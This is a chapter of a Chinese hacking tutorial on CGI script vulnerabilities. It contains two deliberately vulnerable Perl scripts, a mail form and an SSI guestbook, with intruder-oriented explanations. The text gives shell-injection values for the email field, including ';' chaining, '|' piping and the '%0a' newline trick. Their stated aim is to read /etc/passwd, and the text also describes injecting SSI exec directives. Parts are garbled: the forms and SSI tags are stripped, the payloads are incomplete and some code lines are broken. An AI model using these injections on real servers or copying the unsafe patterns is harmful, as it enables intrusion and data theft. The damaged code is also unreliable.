| 第四章、做几个试验 |
|
第四节、一些脚本漏洞的应用 一、邮件脚本特殊字符应用: 我们来讨论下面这个例子:有一个著名的"邮件脚本,它的主要任务是把访问者填写的表单发送到webmaster的邮箱。下面看一下有关的代码:
-- vuln1.html - The submission form --
Thankyou for visiting my site. Please submit your comments and suggestions here:
-- EOF --
-- vuln1.pl - The vulnerable perl script --
#!/usr/bin/perl
# Output will be an html page
print "Content-type: text/html\n\n";
# Get input from form into the @pairs array
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# For each name/value pair in the array foreach
$pair (@pairs) {
# Split the pair into their own variables
($name, $value) = split(/=/, $pair);
# Convert the form-encoding back
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
# Store the destination email address and comments in variables
if ($name eq "address") {
# Store the destination email
address $address = $value; }
elsif ($name eq "comments") {
# Store the comments
$comments = $value; } }
# At this point $address holds the address specified on the form, and
# $comments holds the user's comments.
# --- "Active" part
# See discussion for details of this part
open(MAIL,"| /bin/mail $address");
print MAIL "$comments";
close(MAIL);
# --- End of "active" part
# Print output for the user print Thanks for your comments
EOT-- EOF --
以上这个例子包括两段程序。Html段负责提交用户的输入,并且也是易受攻击的。如果你不了解Perl那么你也没必要知道他的原理。你只要知道目的Email地址(就是在html页面被指明为hidden的元素)和你输入的内容(根据textarea的输入)被保存,然后在“active”部分向“邮件”程序提交就可以了。在Perl程序中,open函数的用处打开文件,但是这里更重要的是管道符。在这句话中,指向命令“/bin/mail webmaster@vulnerable.com”的管道被打开,你在Html页面填写的内容被发送到了指定的webmaster的邮箱中去了。 看看发生了什么? “/bin/mail webmaster@vulnerable.com”命令是由你在html页面提交表单时激活的。如果一个恶意的用户在本地保存并改装了表单会发生什么事情呢?如果html页面没有驻留在服务器,你必须在“action”中填写完整的URL。现在提交的Email地址被改成了你自己的Email地址,你的提交内容也就发送到了自己的Email里去了。 如果你如下改装表单,试想会发生什么? “value="hacker@root.com;mail hacker@root.com” 在script程序中,这样的Email地址将被解析为:“/bin/mail hacker@root.com;mail hacker@root.com”(注意:这里我虽然用/etc/passwd,但是这仅仅是个说明原理的举例。现在大多数系统的passwd文件对于入侵者来说都不会包含有效的密码信息) 如果你发现script程序过滤“;”,你可以试“|”符号,或者用“\n”来换行,这样做的目的是重新运行命令按你的意图执行。记住:使用“|”将使第一条命令的输出回传给第二命令,并且在web上发送换行符你需要用到的是“%0a”。于是地址部分现在变成了“value="hacker@root.com%0amail hacker@root.com” 二、SSI的危险应用: SSI的意思是“Server Side Includes”。SSI是一些能放在html中的、被服务器解析的指令。这些页面通常都支持扩展的.shtml(或者更底的版本),不过这还是要看服务器的设置。有些服务器对所有的html都解析。如果你可以让服务器解析你自己写的SSI,那么你就能够执行命令和其他的一些动作了,事实上很多CGI程序都没有考虑这些东西,比如下面的例子:
-- vuln2.shtml - A public comments page --
Thankyou for visiting my site. Please submit your comments and suggestions here:
Here's what other people have had to say:
-- EOF --
-- vuln2.pl - The vulnerable perl script --
#!/usr/bin/perl
# Define the location of the page to be updated
# Change this to the location of vuln2.shtml if you're trying this out
$pagename = "/home/web/html/vuln2.shtml";
# Print content-type header
print "Content-type: text/html\n\n";
# Get input from form into the @pairs array
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# For each name/value pair in the array foreach
$pair (@pairs) {
# Split the pair into their own variables
($name, $value) = split(/=/, $pair);
# Convert the form-encoding back
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
# Store the comments in a variable
if ($name eq "comments") {
# Store the comments
$comments = $value; } }
# At this point $comments holds the user's comments.
# Separate each comment in the output file
$comments .= "\n \n";
# --- "Active" part # Open the file for read/write
open(FILE,"+;
# Search through the array and insert the comments just before the #
line $linenum = 1;
foreach $line (@list) { if ($line =~ /^/) { $linenum--;
splice(@list, $linenum, 0, $comments);
last; }
$linenum++; }
# Write the array back to the file
seek(FILE,0,0);
truncate(FILE,0);
foreach $line (@list) { print FILE $line; }
# Close the file
close(FILE);
# --- End "active" part
# Print output for the user print Thanks for your comments. Click here to return to the comments page
EOT -- EOF --
这里的两段代码其实是一个简单的留言板,你可以发现.shtml文件用SSI来显示页眉和页脚,当我们浏览网页的时候,SSI所指向的代码将会被执行。注意在.shtml文件中用标记的地方,其后的内容都将被认为是SSI指令而执行,然后等你回到页面上,你就可以看到你所需要的密码文件了。(注意:密码文件可能是很长的一行文字——这是因为html没有在该换行的时候插入换行符。你可以从浏览器的“查看源文件”来查看)。这一切都是我们所希望的,但是很多服务器都屏蔽了exec指令来防止这类攻击。在以上的例子中,你最多能做到的就是用include指令来取得一个你所知道路径的文件内容。象密码文件对于你的当前权限来说可能不可访问。注意有的文件(比如CGI scripts)不会因为include调用而暴露它们的源码。从入侵者的角度来看,include指令的价值并不是很大,如果不能exec,那你能做的就更有限了。 |
| 上一页 目录 下一页 |